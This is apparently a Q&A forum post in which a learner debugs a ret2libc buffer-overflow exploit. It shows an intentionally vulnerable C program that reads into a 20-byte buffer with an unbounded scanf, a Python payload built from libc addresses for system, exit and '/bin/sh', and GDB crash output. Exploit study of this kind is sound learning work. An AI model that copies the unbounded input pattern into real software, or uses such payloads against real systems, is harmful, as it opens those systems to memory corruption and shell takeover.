i have some code in c i am working to write exploit for it:
#include <stdio.h>
void secretFunction()
{
printf("Congratulations!\n");
printf("You have entered in the secret function!\n");
}
void echo()
{
char buffer[20];
printf("Enter some text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
and i wrote the exploit script in python:
#!/bin/env python
import struct
system_addr = struct.pack("<I", 0xb7e1d200)
shell_addr = struct.pack("<I", 0xb7f5e0cf)
exit_addr = struct.pack("<I", 0xb7deeaac)
buf = "A" * 32
buf += system_addr
buf += exit_addr
buf += shell_addr
print buf
in gdb: gdb-peda$ r <<< $(python exploit_scanf.py)
it gave me:
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0x42424242 ('BBBB')
ECX: 0x0
EDX: 0xb7fb9890 --> 0x0
ESI: 0xb7fb8000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xd2424242
ESP: 0xbffff470 --> 0xe0cfb7de
EIP: 0xeaacb7e1
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xeaacb7e1
[------------------------------------stack-------------------------------------]
0000| 0xbffff470 --> 0xe0cfb7de
0004| 0xbffff474 --> 0xbf00b7f5
0008| 0xbffff478 --> 0x0
0012| 0xbffff47c --> 0xb7df8e81 (<__libc_start_main+241>: add esp,0x10)
0016| 0xbffff480 --> 0xb7fb8000 --> 0x1d7d6c
0020| 0xbffff484 --> 0xb7fb8000 --> 0x1d7d6c
0024| 0xbffff488 --> 0x0
0028| 0xbffff48c --> 0xb7df8e81 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xeaacb7e1 in ?? ()
and sometimes it gave me:
/bin/bash: warning: command substitution: ignored null byte in input
and no redirect to shell , what is the issue with ret2libc exploit?
r < input
in gdb. Will it give the same bash errors? – Paweł Łukasik Sep 14 '20 at 18:09